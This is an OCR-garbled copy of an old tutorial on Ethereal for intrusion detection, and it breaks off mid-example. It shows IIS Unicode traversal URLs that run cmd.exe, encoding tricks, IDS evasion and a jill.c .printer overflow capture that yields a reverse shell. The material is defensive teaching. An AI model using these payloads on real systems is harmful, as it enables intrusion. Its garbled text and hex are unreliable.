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Thistutorial isan introduction to Ethereal and how it can be used as an invaluable assistant in performing
Intrusion Detection. | assume the reader has abasic understanding of network security concepts, TCP/IP,
and has seen network traffic before. Once you are more familiar with how Ethereal works, | will cover
some practical examples of utilizing it to detect and analyze malicioustraffic. Since web trafficis
probably the most familiar to the mgjority of people using the Internet, | will start by reviewing HTTP
headers and the Unicode (Directory Traversal) vulnerability. Next, buffer overflows will be analyzed. In
the third topic we'll ook at ICMP and HT TP backdoors to show how a hacker can quietly access a
previoudy compromised box without drawing the suspicion of network administrators. Finally, through
analyzing NetBIOS and SMB traffic | will show the more powerful capabilities of Ethereal.

DISCLAIMER: Although I'm not releasing any information that most hackers don’t already know, some
of the sections in this paper show actua hacking techniquesthat if used out on the Internet could get you
into serious trouble. Thisisjust areminder to not use any of thisinformation for illegal purposes. Use
this on atest network at home or in your lab.

I ntroduction to Ethereal

There are many network capture and analysis tools freely available including snoop, tcpdump, sniffit,
analyzer, etc. However, none have the support that Ethereal has for decoding protocols and application
layer traffic. Gerald Combs developed Ethereal in 1997 as a utility to track down network problems and
as a useful tool to improve his networking background. After itsinitial releasein 1998, numerous people,
including Gilbert Ramirez, Guy Harris, and Richard Sharpe, have contributed patches, dissectors, and
other updates. Since that time there have been new protocols added, more powerful filtering capabilities,
and application decoders added by the many fans of thetool. At the time of thiswriting, Ethereal is at
version 0.9.2 and supports most platforms including Windows, Unix, Linux, and BSD. | will be giving a
quick introduction on the most essential parts of the program. For more details on command syntax,
additional toolbars, and other functions see the man pages or the Ethereal User Guide located at:
http://www.ethereal .com/docs/user-quide]

Ethereal can be used to actively sniff network traffic or to review the capture files that an IDS has saved.
In thistutorial, Ethereal will be used for both capture and analysis. However, in any network of
considerable size, it will be much more efficient and practical to analyze the datathat your IDS has
captured, offline.

So what does the Ethereal program look like? Figure 1 on the next page shows the main layout of the
Ethereal GUI. There are 5 menu bars, a header field, traffic overview section, detailed protocol section,
hex and ASCI| data representation section, filter field, reset, apply, and a genera display field. TheFile
menu option allows you to open, close, save, reload, and print results either to afile or straight to printer.
The most useful option in this menu isthe print section, which allows you to save the results to file or
straight to a printer. If you didn’t want the added size, or didn’t have the ability to do a screen capture of
the data, or wanted to perform some analysis on the data using custom tools, you can save the detailed
information to thefile of your choice. Make sureto select the “print detail” and “print hex data” buttons
if you want full detail.


http://www.ethereal.com/docs/user-guide
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Figure 1. Ethereal Main Display

The Edit menu bar gives you the options of find frame, go to frame, mark and unmark frames, detailed
preferences, filters, and supported protocols. The Find Frame optionisvery useful. Any item that
shows up in the detailed protocol section can be searched on. This means source and destination IP' s and
ports, TCP flags, ICMP types, SMB commands, and just about any other option you can think of can be
searched on. | will use asimple example to start off with. Pretend that the capture file is huge and by
scrolling it is difficult to see where the first connection was attempted. Using the find frame option,
shown in Figure 2, we can select a custom filter to search for the first SYN.

(& Ethereal: Find Fr =10 x|
Filter: {|tcp.flags. syn == 1|

+ Farward . Backward

Ik | Cancel |

Figure 2. Finding aframe



The filter section, shown in Figure 3, allows you to create a customized set of filtersthat you can save and
apply to later sessions. Display filters, which are accessed by clicking on the Filter button in the main
Ethereal window; will look very similar, but would also give an option to apply your changes.
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Figure 3. Creating Custom Filters

The Add Expression button allows someone that is new to filtering and even those of us that haven't
used the more advanced features to quickly create useful filters. Thisisshownin Figure 4. Instead of
having to guess on the correct syntax or trying to remember if Ethereal even supports searching for a

particular value, just scroll until you find the protocol and field you want. Then choose the appropriate
relation and the value that should be assigned.

{& Ethereal: Filter Expression - |EI|E|

Field name Relation “alue (Boaolean)

Push A is present |1
Heset

I=
. Mot set
Window size

Figure4. Adding an expression to match on the SYN flag set

After selecting the filter configurations shown above the correct frame will now be highlighted and
visible in the top traffic overview section. If there is a specific frame number that you are interested in,
the “Go To Frame” option can be used. Several optionsto mark frames are also available. The



Preferences menu has options for just about every feature available in Ethereal, too many to list here. The
next menu option, Capture Filters, isvery important. The menu looks nearly identical to Figure 3, but it
does not offer the expression addition option that the search and display filter provides. It isimportant to
note that the capture language and search/display language are different. For live captures, the libpcap
filter languageis used. If you attempt to use the same filter during off-line analysis, a syntax error will
result. This can be a big source of frustration for first time Ethereal users.

For example, if | only wanted to look at HTTP and SSL traffic | could use the filter string of “tcp port 80
or tcp port 443”. However, if | wrote “http or s9” | would receive an error. Another simple example
would befiltering on an IP address. For live captures| use “host ip_address’, but for display filtering
“ip.addr == ip_address’ works. For more details on the libpcap filter syntax see the tcpdump man pages.

Thelast filter option isthe Display Filter. Although the filter syntax has already been touched on, one
more example wont hurt. Letssay | saved alot of network traffic on a busy web server, which also offers
telnet and ftp (Yes | know thisis bad security practice). | want to be able to detect buffer overflow
attempts against my web server. How in the world can | manually go through each frame to find thistype
of activity? The answer isthat you would have to be insane to attempt it. The next thought is that maybe
| could use the TCP Stream option. This powerful feature will be covered later, but even it would till
involve too much manual work. The answer to detecting thisis utilizing display filters. What isthe first
thing | need to do? | could try filtering on large frames. This makes sense, because a buffer overflow
should generate afairly large frame. So we use the Add Expression button and select Frame as shown in
Figure5.
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Figure5. Filtering on Frame Length greater than 400 bytes

Unfortunately, applying thisfilter to general traffic is not such agood idea. TELNET and FTP will
definitely cause a plethora of false positives. It istimeto refinethefilter. Well for starters, | only want
HTTPtraffic so | get rid of al of the excess ARPS, DNS, TELNET, FTP and other unneeded protocols
by filtering on “HTTP”. That's much better. Now | combine the two filterstogether “HTTP and
frame.pkt_len > 400". That didn’'t work too well, as all of the HTTP Continuation datais well over 400
bytes. | need to focus on the GET request. Ethereal comes through with the “HTTP.request” filter rule.
Applying this rule and tweaking the byte value | come up with arule that has very few fa se positive and
detects my buffer overflow attempts. Final filter rule: “http.request and frame.pkt_len > 775"



The Capture menu holds configurations for starting Ethereal as a network sniffer, shown in Figure 6.
Here you can sdlect the interface, number of packets to capture, max file size, max duration, capture
filters, and file to save the data. The capture length option or “snaplen” isvery useful. By defaultitis
set to 65535 (tcpdump normally defaults to 68, which is sufficient for normal traffic).

I
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Figure 6. Capture Options

However, lets say that you are analyzing a new buffer overflow exploit, with tcpdump, that has packet
sizes larger than 2000 bytes. If you stick with the default setting, there will be alot of fragmented 1P
packets in the output. Bump the value up, -s option from the command line, and the fragments
mysteriously disappear. For capturing everything on your LAN, leave the promiscuous mode option
selected. If you want to view the traffic asit is being collected, select “Update in real time” and
“Automatic scrolling”. The last three options determine if Ethereal attempts name resolution on MAC,
network, and transport layer fields. This hasthe possibility of really slowing down the capture.

The Display menu allows you to define and format how Ethereal presents your network captures. The
“Options’ section allows changes to primarily time display and name resolution. If you want to add a



little aflavor to the data, the Colorize Display option allows special color filters to be added to highlight
areas of interest, shown in Figure7.
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Figure7. Highlighting HTTP traffic using color filters

Another set of very useful features, and ones that save an analyst alot of time, are the “ collapse and
expand” al options. When you are analyzing traffic that ranges from Layer 1 up to 7, and there are many
fieldsin those layers, you don't want to click on every button to expand out that particular field. Thiswill
come in handy later when we look at NetBIOS and SMB traffic.

If you want to focus on a specific packet, the “ Show Packet In New Window” option pulls up a separate
window for the frame number you selected. For advanced users that have specified their own protocol 1D
to dissector mappings, the “user specific decodes’ option will be useful.

Lastly, we have the Tools menu. “Plugins’ is another advanced option to let you see what dissector
plugin modules are currently loaded. Following a TCP Stream is one of the best features that Ethereal
has. It can be very cumbersome weeding through line and line of network traffic trying to use the
Hex/ASCI| section to determine what commands an attacker used to compromise your system. The
example below, Figure 8, shows an FTP transfer viathe web. Notice how easy it isto read the client side
data (red) and server side text (blue).



{@ Contents of TCP stream

220 ns microsoft FTP service (version 5.00.0

USER anomymous i

331 anomymous access allowed, send ddentity (e-mail name) as password. O
Pass IEUser@n

230 Anomymous user logged dn. D

TYFE I0

200 Type set to I.0

PASWVD

227 Entering Passive Mode (20%,217,45,253,16,720.0
SIZE SpubAtpxftpx.zipo

213 a774810

RETR SpubAtpxtpx.zip0

125 Data connection already open; Transfer starting. o
226 Transfer complete.l

e AEORD

225 ABOR command successftul.n

Figure8. TCP Stream of a FTP session

Since Follow TCP Stream applies a custom filter to show only datain that particular session, we can use
this knowledge to reconstruct files captured by our IDS. Lets say an attacker compromised one of your
systems and then downloaded a new rootkit from an FTP server. If you were able to capture most of the
attack, you could use the “ TCP Stream” option on the file transfer, and save the dataas afile. Y ou now
possibly have anew tool to analyze. | will warn you though, that this technique does not work 100% of
thetime. Of course, you could get the file off of the compromised system, but that wouldn’t be as cool.
Just remember, that if you follow a TCP Stream it does indeed chop your transcript to only that particular
session. Don’'t make the mistake of not resetting your data, click the “Reset” button or apply a blank
filter, or you might miss valuable datal!

If Ethereal did not decode the network traffic completely, and you know that the datais a certain protocal,
use the “Decode As...” feature to further analyze your results. The last three options under the Tools
menu, allow you to get summaries, statistics, and due additional analysis on your network capture.

The Traffic Overview Section is where you will look for the big picture of what is occurring on your
network. Figures 1 and 7 show the layout. It isherethat you see connection times, source and
destination IP's, protocol, source and destination ports, and asummary of the traffic. Lets say that you
are looking for connections to port 27374, on of the default ports of the Subseven Trojan. By scrolling
through the connections, or more efficiently by using afilter of tcp.port==27374, you can quickly
determine if someone is scanning, or has even gained access to the port. Be careful when you use the
abovefilter rule, asit doesn’t distinguish between source or destination port. It isvery possible that the
rule could capture traffic being initiated from a random high port that just happened to hit 27374. A rule
of tcp.dstport==27374 could be used, athough it would not show your system’s response. Thisiswhen a
skilled analyst, that is able to interpret the results, comesinto play. Once you have selected aframe of
interest and want to look more closely at what is contained in the packets, the second main window in the
Ethereal GUI comesinto play.

This Detailed Protocol Section allows complex traffic analysis from layer 2 upto layer 7. To get datato

review for this section, | will initiate an ftp connection to FreeBSD’ s main ftp server and sniff the traffic.
Theresults using aruntime filter on[fitp.freebsd.org are shown below in Figure 9.
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Figure 9. Detailed Protocol Section

The results above show an FTP response from [ftp.beastie.tdk.net. 1 did chop out the Frame section,
which includes time, frame number, and bytes received and captured. The picture above shows a capture
including Ethernet (layer 2), IP (layer 3), TCP (layer 4) and FTP (layer 7). In the Ethernet fields we see
the MAC address for my computer (Sony) and the source, which will be my default router. The IP fields
show that I'm using IPv4, it gives source and destination IP's, and includes the next layer protocol 1D
(TCP 0x06). The TCP header shows that the server is sending data from port 21 (FTP) viaaPSH ACK to
my system’s high port of 1377. Finally, in the FTP header we see that the server isready for anew user,


ftp://ftp.beastie.tdk.net/

code 220, and it gives us the hostname and version that it’s running. For more details on how FTP works,
see RFC 959.

It isin viewing this section that you really see how the protocol works. It aso allows you to analyze
exploits, and network captures and determine if and how someone is abusing the protocol. Thisisvery
handy in alab environment and is one of the main tools | use to research new exploit code.

The Hex/ASCI | display section wraps up our introduction to Ethereal .
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Figure 10. Hex-ASCI| Display

Asyou can see in the above figure, commands and data are represented in Hex and their ASCI|
equivalent. Thisfield isuseful if you are reviewing commands that an attacker used to compromise your
system or if you are checking for poor user names and passwords. The most crucial time that thisfield
comesinto play is when reviewing UDP traffic. I’'m stating the obvious, but the TCP Stream option
doesn’'t work when looking at UDP connections. Y our only option is reviewing the Hex/ASCII dump.

I’ ve used the Hex output numerous times to match up an intrusion attempt (particularly the shellcode)
against known exploits.

Now that you have an idea of what Ethereal looks like, know how to use severa of its many features, and
have practiced filtering and viewing network captures, it istime to review several popular protocals, their
vulnerabilities, and some of the ways an intruder can exploit them. | will focus on determining exactly
what an intruder was attempting to do, and exactly what kind of access was gained without having to
obtain system logs, or having to bring a system administrator in to locally review the box. Having
confidence that no access was gained and that the system is configured correctly is crucial, especialy
when dealing with very large computer networks that span multiple locations. Y ou can imagine the
overhead and expense if you had to verify every single intrusion attempt personally. The first protocol we
will review isthe Hypertext Transfer Protocol (HTTP).



HTTP Traffic Analysis

Web traffic is probably what most people picture when they think of the Internet. HTTP, running
normally over TCP port 80, has been the primary medium for web access since 1990. Currently at
version 1.1, HTTPis an application layer protocol that follows a request/response format and allows use
of proxies, gateways, and tunnelsto transfer its data. The problem that we encounter isthat, unlike ssh or
telnet servers, most people want everybody to be able to access their web server. This means opening a
hole through the firewall, bad idea, or placing the web server in the Demilitarized Zone (DMZ). In
whatever configuration that you may have, typically there will be alot of people accessing your web site,
and not all of them will have honorable intentions. Letslook at some normal web traffic.

Figure 11 depicts anormal GET request during a connection to a popular Internet search site.

Mo. . |Time Source Destination Protocol  |Info
50 17.597634 bongo 216, 239,51.100 TCP 2231 » http [Svn]
51 17.898985 216.259,51.100 bongo TiZP http = 2231 [S¥HN,
52 17.6990686 bongo 216.235%.51.100 TCP 2231 » http [AcK]
53 17.699506 Donc 216,239, GET ssearch?hl=eng
55 17.800351 216.259,51.100 bongo TiZP http » 2251 [ACK]
56 17, 820918 216.239.51.100 bongo HTTF HTTP/1.1 200 Ok
57 17.894705 216,.2359,51.100 bongo HTTP Continuation
55 17.8945942 bongo 216.239.51.100 TCP 2231 » http [ack]
5% 17.897163 216.239.51.100 bongo HTTP Continuation
B0 17.992286 216.239,51.100 bongo HTTP Continuation
61 17.59%2431 bongo 216.235%.51.100 TCP 2231 » http [ack]

[
IS SIS SNSIITT S EEle SR WSS TS S
B Hypertext Transfer Protocol
GET Ssearch?hl=en&g=firewalls HTTP/L1.1%r"\n
Accept: image/gif, imagesx-xbitmap, image/jpeg, imagespipeqg, applicationsvnd.ms—p
referer: http: Awww. google. comyrin
Accept-Language: en-ushrin
Accept-Encoding: gzip, deflatelrin
User-agent: MozillasAd.0 (compatible; MSIE 5.5; windows NT 5.0; T312461)%r%n
Host: www. goog]e. comyrin
Connection: Keep-Aliwveywrin
Cookie: PREF=ID=5dT1a53c0faiefl? iTM=1014025272 :LM=1014025272 :5=cv7d1I oMUY "N

RN

Figure1l. HTTP GET Request

Asyou can see, athree-way handshake is completed followed by my request for information. This takes
the form of a GET request and includes what I' m searching for, firewalls. The referrer field tellsthe
server what site you just came from. The User-Agent field gives the software the your client isusing. In
this case, you can tdl that I'm using Windows 2000 with Internet Explorer (IE) 5.5. The connection field
isanew feature of HTTP 1.1 that allows the client or server to give desired connection state. Cookies,
the last field, are being used more frequently on the Internet to keep track of users, to store personally
information such as user ID’s and passwords, and to track what links a user frequents. | don’t
recommended using them to keep your passwords, credit card numbers, and other important information,
unless you don’t mind sharing your wealth with others. Of course, the connection above did not include
al headersthat are possiblein aHTTP session. There are several other important fields, all shownin
great detail in RFC 2616, that are worth mentioning.
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Areasthat are of primary interest to me are the server response fields.

Hypertext Transter Protoco
HTTRAL.1 200 okhrswn
Cate: Sat, 02 Mar 2002 15:42:08 GMTYr“h
Server: Apaches/1.3.12 (Unix) PHRA4.0.0%rNn
Last-mModified: mMon, 02 Jul 2001 10:01:00 GMTrn
ETag: "3b%81-1%aad4-3b40465C""rn
Accept-Ranges: bytesiriyn
Content-Length: 105124%r%n
kKeep-alive: Timeout=20%r\n
Connection: Keep-Aliwesryn
Content-Type: text tmlyrin
B alYa!
Data (116% bytes)

Figure12. HTTP Server Response

Shown above is a positive server response, 200 OK. It givesthe date, the time the resource was last
modified, entity tag, keep-alive parameters, and other server information. Of particular interest to a
Hacker would be the server version. The example above shows poor server configuration asit gives away
just alittle too much information. Isn't there aroot exploit for PHP iswhat the latest script-kiddieis
thinking right now. Of course, a system administrator could fake some of this information too. One last
important item is HTTP authentication. From an Intrusion Detection standpoint it isimportant to be able
to distinguish if someone is attempting to access resources they shouldn’t. Also, being able to see what
passwords they used, basic authentication only, lets an analyst know if users are following good security
practices. Really the best practice would be to use SSL (Secure Sockets Layer), but | won't cover that in
this paper. Sinceit isnormally running on a different port, default TCP port 443, and data must be
encrypted, worms and most script-kiddies probably won't hit your server. However, be aware that most
hacks that work against HTTP like RDS, Unicode, and Buffer Overflows can work against sites running
SSL. SSL doesn't magically protect your server from attack; it just encrypts your data. Sincethereis
already an excellent document on HT TP authentication | wont review it here. The white paper can be
found at http://www.owasp.org/downloads/http_authentication.txt} Lets move on to afew web exploits.

Unicode (Directory Traversal) Exploit

This exploit wasfirst officially publicized around October 2000. It wasn't until almost ayear later, due to
the Nimda worm, that most sysadmins patched their systemsto it. However, the Directory Traversal
Vulnerability is an excellent example of the kind of access an intruder can obtain through the web. It also
shows the numerous variations, making 1DS detection difficult, that can be discovered in what appearsto
be just asimple problem.

There are about three primary ways to exploit this vulnerability (although beneath these lie many
variations). The first involves two and three-byte Unicode encoding. RFC 2279 describes the theory
behind UTF-8, which isthe standard used here. | won't break the standard down into binary, but | will
show using several generic formulas how to go from atwo-byte encoding to an ASCII value. Later on
we will see how thisisuseful. With knowledge of the UTF-8 standard and a Hex to ASCII converter the
following formulas should not be too difficult to follow.
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Below is an example conversion for hex valuesin the second octet less than 0x80:

%c1%1c -> (0xc1-0xc0) * 0x40 + Ox1c = 0x5c =V
%c0%2f -> (Oxc0-0xcQ) * O0x40 + Ox2f = Ox2f =/’

For second octet value greater than or equal to 0x80:

%c0%af -> (Oxc0-0xcQ)* 0x40 + (Oxaf-0x80) = Ox2f =*/'
%c1%9c -> (0xc1-0xc0)* 0x40 + (0x9c-0x80) = Ox5¢c = *V’

The second method is using “double-hex” encoding. The standard way of displaying hex valuesin a URL
isto precede the value witha*%’. A common value that you will likely seein a URL is* %20, the
equivalent of a“space”. In our case we are looking for double encoding of forward and back slashes:

%255¢ = %5¢c =\ or %2547 = %2f ="/ or %%35%63 = %%5c="\’ and on and on.
Asyou can see there are several variations under this category that could work.

Thelast technique I'll cover is %u encoding. It is not standard usage and therefore is often not decoded
by an IDS, however Microsoft allowsitsuse. To follow the preceding example, just precede the hex
value with a%u00 to obtain %u005c. Just looking for %u00 is not enough as other variation exist. Now
that you have a background on the theory behind encoding techniques, lets look at how they are
implemented against an 11S server.

As an anonymous web user (I_USR), you can only reach directories that are found on the web directory
tree. Y ou cannot access other directories, for obvious security reasons, like Winnt or System32 etc.
Unfortunately, Microsoft 11S versions 4.0 and 5.0 (3 was affected but if anyoneis still running that, tough
luck) check for directory traversal (i.e. |http://ip/scripts../../winnt/system32/cmd.exe) before they fully
decode the UTF-8 or double encoded characters. So if you use a URL like:

http://target/scriptsy..%c1%9c../winnt/system32/cmd.exe?/c+dir

http://target/msadc/..%255c¢..%255cwi nnt/system32/cmd.exe?/c+dir|

IS will not recognize this as a security violation and merrily gives up alisting of the C: drive. This
vulnerability can be exploited even if the system files are located on a separate logical drive than the web
directories. To detect this activity in Ethereal we will look for a200 OK and the resulting directory files
that get listed. Thisis shown on the next page in Figure 13.

It isimportant to realize that 200 OK will not be the only value of success when dealing with commands

sent over theweb. Of course “403” will still be permission denied, and “404” is till resource not found.

However, lets say that an attacker has successfully viewed your directories and now wants to gain further
access to the Windows command shell (cmd.exe) using a URL similar to the one below:

http://site/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+..\..\winnt\system32\cmd.exet+hel p.exd

This command enables an intruder to be able to create files, and deface web pages using redirection. If
this command was successful what will a server return? It won’t be the 200 OK like you would have
probably thought. Instead it gives a“502 Server Gateway Error”. If the command is not typed correctly
you still get the same error. On patched systems, normally these requests will result in a different error
status code, making an analyst’sjob alittle easier.
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http://ip/winnt/system32/cmd.exe
http://target/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://target/msadc/..%255c..%255cwinnt/system32/cmd.exe?/c+dir
http://site/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+..\..\winnt\system32\cmd.exe+help.exe

Amsadcs. .%c0%af. LA kmoomat. . .%cO%af. fw1nntfsystem32fcmd exe?So+dir+o,
Accept 1magefg1f 1mageﬁx xb1tmap, 1mageﬁjpeg, 1magefp]peg, application/
T, app11cat1unfvnd ms-excel, applicationsmsword, */%0
Accept-Language: en-usi
Accept-Encoding: ?zip, deflaten
User-agent: Mozillarsd.0 Ccompatible; MSIE 5.5; windows NT 5.0; T312486100
Host: 10.1.1.250
Connection: Keep-Aliwvel
Cookie: ASPSESSIONIDGGEOEOEY N=ALLFOHLADNGICGPCGEDMIKCHD
0
HTTF,/1.1 Z00 OKD
server: Microsoft-IIsA4.00
Date: sun, 03 mMar 2002 00:41:26 GMTO
Connection: closel
Content-Type: application/octet-streaml
volume in drive C has no lakel.n
violume serdial mumber s 5000-DFO30
0
Directory of c:™0
0

03,/02,/02 11:15a 0 AUTOEXEC.BATO
03,/02,/02 11:15a 0 COMFIG.SvS0
03,/02/02 06:22p <DIR> Inetpubl

03,/02,/02 05:43p <DIR> Multimedia Filesn
03,/02,/02 06:26p 471,859,200 pagefile.sys0
03,702,022 06:20p <DIR> Program FilesD
03,/02,/02 06:35p <DIR> TEMFO

03,702,702 06:33p <DIR> WIMNMTO

8 Filef=s] 471,859,200 bytesl
338,568,192 bytes freeld

Figure13. Using Directory Traversal to view adirectory

For common HTTP status codes visit |http://www.inetmi.com/pubs/status.htm| Lets look at a couple of
transcripts to see the difference between success and failure. Figure 14 is example of afailed command.
Notice in the TCP stream how the error “The system cannot find the path specified” is returned.

HTTRPsL.1l 502 Gateway Errord

Server: Microsoft-IIs/ 4. 00

Date: sun, 03 Mar 2002 00:42:40 GMTO
Connection: <closel

Content-Length: 2590

Content-Type: text htmlo

]

<heads=<title=Error in CGI Application</ title=</head:>

<body=<hl>C3I Error</hl=The specified CGI application mishehaved by not returning a
ete set of HTTP headers. The headers it did return are:<p:<pz<pre>The system cannot
the path specified.l

Figure 14. Intruder isunsuccessful in copying cmd.exe

Now lets see what the server will respond with when the attack is successful. Thisis shown on the next
pagein Figure 15. Thereisno confusion in interpreting the results asit clearly shows that 1 fileis copied.
The 502 errors will also result from a successful file deletion, so keep that in mind.
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HTTR/L1.1 502 Gateway Errorl

Server: Microsoft-IIs/ 4,00

Late: sun, 03 Mar 2002 00:43:14 GMTO
“onnection: closel

Content-Length: 2420

Content-Type: text/ htmlo

0

<heads<titlexError in <31 Application</titlesr< /heads
<hody><hl>CGI Error</hl>The specified CGI application mishehaved
t did return are:<pr<ps<pre: 1 fi1e(s§ copied. o

Figure 15. Intruder gainsadditional privileges by copying cmd.exe

What | have showed so far isjust asmall glimpse of commands an attacker can use against an I1S server.
There are far more malicious activities that are just as easy to do, like using tftp to upload and install
netcat. Oncethisis done, log files can be erased or even worse modified, Trojans can be uploaded, and
full administrator access can eventually be gained. Covering al of these additional steps would be
sufficient for a separate paper. However, this knowledge will let you know when someone has stepped
through the door.

The previous Directory Traversal exploit gave anonymous user level access. Now lets turn our attention
to root level access buffer overflows.

Analyzing Buffer Overflows

Ah, the buffer overflow, the Mecca of the hacker world. Normally very complex to exploit, requiring
knowledge of C and Assembly language programming, computer architecture, and alot of skill and
imagination. Many hackers dream of reaching the “elite” level; where they too will find the next root
access overflow. Unlike the Directory Traversal exploits, most buffer overflows result in root level
access, as network daemons/processes typically run with root privilege. Unfortunately, once someone
finds aflaw and develops an exploit for it, thousands of script-kiddies come along and use it to
compromise system after system. Vulnerabilities that many believed to be impossible to exploit, for
example the SSH CRC32 vulnerahility, are typically discovered often several months after they have been
used in the “hacker underground”. There are many ways to go about detecting buffer overflow attempts.
Simple ASCII/HEX string matching can be done to look for common values like /bin/sh or .printer or
.ida. Many IDS'slook for a string of architecture standard NOPs (do nothing) like 0x90 or 0x220. There
are some exploits that can be discovered because they require specific datato be passed or they €licit a
certain response from a server. Some of the more advanced ways to detect buffer overflowsinvolve
protocol analysis where afield sizeislarger than normal or contains a different type of data than the RFC
(Request for Comment) dictates. Traffic pattern analysis also falsinto this category.

It's unfortunate that many IDSs look primarily at only the first two examples listed above. Matching on
“known” exploit shellcode or the “ standard” NOP will detect the mgjority of the script-kiddies. However,
what about the more skilled hackers? There are already several tools available that make it easier to
bypass an IDS. One such tool is ADMmutate, by ktwo, and utilizes Polymorphism to evade IDS. One of
the goals of ADMmutate is to make detecting the expl oit too processor intensive by having a significant
amount of variation in the shellcode, which is encoded, and alarge number of NOPs to choose from. |
will look at severa buffer overflowsin this section that cover the range from basic to polymorphic, and
some of the ways that they can be detected.
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So what does a buffer overflow look like? For our first example lets use the .printer or “I1SAPI” buffer
overflow that affected Windows 2000 servers. This vulnerability can be exploited over the Web, port 80
or port 443. Figure 16 shows a successful exploit using the “jill.c” exploit by Dark Spyrit.

3 0.000000 10.1.1.50 10.1.1.10 TCP 32773 » http [SYN] Seq=9%50
4 0.000000 10.1.1.10 10.1.1. 50 TCP http = 32773 [Svn, AacCk] seq
5 0.000000 10.1.1.50 10.1.1.10 TCP 32773 > http [AacCK] Seq=99S50
6 0.000000 10.1.1. 10.1.1.10 GET SMULL.printer HTTRPs1.0
70110000 10.1.1.10 10.1.1. 50 TCP http > 32773 [ack] seqg=2641
8 0.240000 10.1.1.10 10.1.1.50 TCP 1201 > 1400 [S¥N] Seq=26417
9 0.240000 10.1.1.50 10.1.1.10 TCP 1400 = 1201 [S¥M, ACK] Seqg=
10 o.240000 10.1.1.10 10.1.1. 50 TCP 1201 > 1400 [ACK] Seq=26417
e e

GET AMULL.printer HTTP/L. 0NN

Host = %2200 22 0% 22002 20% 22002 200 2200 2 208 2 208 2208 2 200 2208 22 00 2 208 22 00 2200 22 00 2200 22 05 2 2 00 2210

0350 fa fa fe fO el 95 f6 fa fhb fb f0 f6 &1 95 e fO ...t coeenn..
0360 fhb f1 95 o7 fO 6 3 95 f& 5 f1 bbb O ed fO 53 ... cooeatt.
0370 0d 0a 48 6f 73 74 3a 20 90 90 90 90 90 %0 S0 S0 co[@SEE cooooooao
0380 90 S0 90 90 90 90 90 90 90 90 90 90 90 90 90 S0 ........ (.o.ooe..n
0380 90 S0 S0 90 90 90 90 90 90 90 90 90 90 90 90 S0 ......00 caeeee.s
03a0 90 S0 90 90 90 90 920 90 90 90 90 90 90 90 90 S0 ........ (..o.0...n
03b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ... ceeeen.s
03c0 90 S0 90 90 90 90 90 90 90 90 90 90 90 90 90 S0 ........ c.o.ooee.s
03do 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 S0 ... ceeeenns
03e0 90 S0 90 90 90 90 90 90 90 90 90 90 90 90 90 S0 ........ (...
03F0 90 S0 S0 50 80 90 50 90 90 S0 90 90 90 90 90 90 ... oeeeeeas
0400 90 S0 90 90 90 90 90 90 90 90 90 90 90 90 90 S0 ... ... o..oee.s
0410 90 S0 90 90 90 90 90 90 90 90 90 90 90 90 90 S0 ... caeeee.s
0420 90 S0 90 90 90 90 90 90 90 90 90 90 90 90 90 S0 ... ... o..oee.s
0430 90 S0 90 90 90 90 90 90 90 90 90 90 90 90 90 S0 ... caeeee.s
0440 90 S0 90 90 90 90 90 90 90 90 90 90 90 50 50 S0 ... cLLeee.s
0450 90 S0 90 90 90 90 90 90 90 90 90 90 90 90 90 S0 ... caeeee.s
0460 90 S0 90 90 90 90 90 90 90 90 90 90 90 50 50 S0 ... cLLeee.s
0470 90 G0 90 90 90 90 90 90 90 90 90 90 90 90 90 S0 ... c.eeee.s
0480 90 S0 90 90 90 90 90 90 S0 90 90 90 90 50 50 S0 .......00 cL.oee.s
0450 90 S0 90 90 90 90 90 90 90 90 90 90 90 90 90 S0 ... caeeee.s
04a0 90 S0 90 90 90 90 90 90 90 90 90 90 90 50 50 S0 ... ... cL.oee.s
04b0 90 90 S0 90 80 90 90 90 90 90 90 90 90 90 90 90 ..., ceeeeean
04c0 90 33 <0 b0 90 03 d8 8b 03 8b 40 60 33 dh b3 24 cBoooooa - e R
04do 03 3 Ff 20 eb b% 590 90 05 31 8¢ 6a 0d 0a od 0a ..., B I I

Figure 16. Successful exploit usingjill.c

The figure above shows my Linux box (10.1.1.50) establishing a connection with aweb server
(10.1.1.10). Then we see a GET request for NULL.printer followed by alot of garbage |ooking data and
the Intel standard NOP (90h). The server acknowledges our request, and then we see an outbound
connection from the web server to my system on port 1400. | have netcat listening on port 1400 for the
command shell that the server will push back to me. The figure below shows the command shell with
system level access.

@ Contents of TCP stream

Microsoft windows 2000 [version 5.00.21%5%]0
(C) Copyright 1%585-1%9% Microsoft Corp. O
0

I NWIKNT Y System32-time

time

The current time is: 0:06:54.0410
Enter the new time: 0:06:59, 05
0:05:5%, 050

Figure 17. Gaining system level accessto a web server
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That compromise took lessthan afew seconds. So exactly what happened? First, | request NULL.printer
with my exploit code stacked after it. | take advantage of the unchecked buffer in the ISAPI extension
that handles this GET request. | know that the buffer size is about 420 bytes so | carefully construct my
explait to include ajump that overwrites EIP and hops back to the “NOP dled”. This gives me flexibility
in guessing areturn address. | ride the NOPs to a pointer that hops back to alarger buffer, located
between the NULL .printer and the Host option, where | have code that executes aremote shell. This
explait isthe example of a“stack overflow”. This particular exploit code would be easy to catch. We
could look for several NOPs (0x90) in arow, or we could match on the “.printer” request. However, what
if amore sophisticated attacker comes along and modifies the code to obfuscate the .printer request or
inserts another NOP that is not standard. Figure 18 shows a*modified jill.c” where | replace the NOP
with another value. Asyou can seethe exploit is till quite successful.

3 0.00010.1.1.50 10.1.1.10 TCP 32905 » http [SYM] Seq=566
4 0.00010.1.1.10 10.1.1.50 TiCR http > 32905 [SYNM, ACK] Se
5 0.00010.1.1. 50 10.1.1.10 TCFR 32905 » http [ACK] Seq=564:
5 0.00010.1.1.5 10.1.1.10 s i
F0.04010,1.1.10 10.1.1.50 TiCR 1207 » 1400 [S¥YHW] Seq=2747:
8 0.04010,1.1.50 10.1.1.10 TiCR 1400 » 1207 [5¥M, ACK] Seq
S 0,040 10.1.1.10 10.1.1. 50 TCFR 1207 > 1400 [ACK] Seq=2747:
10 0,090 10.1.1.10 10.1.1.50 TR 1207 » 1400 [PSH, ACK] Seq:

B Hypertext Transter Protocol
GET SMULL.printer HTTP/L.0%r%n

Host: EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
A aNs!

02ch o 5 o ef 0 95 d2 fO el cd el f4 a7 2l el 85 ... .iiie vernnans
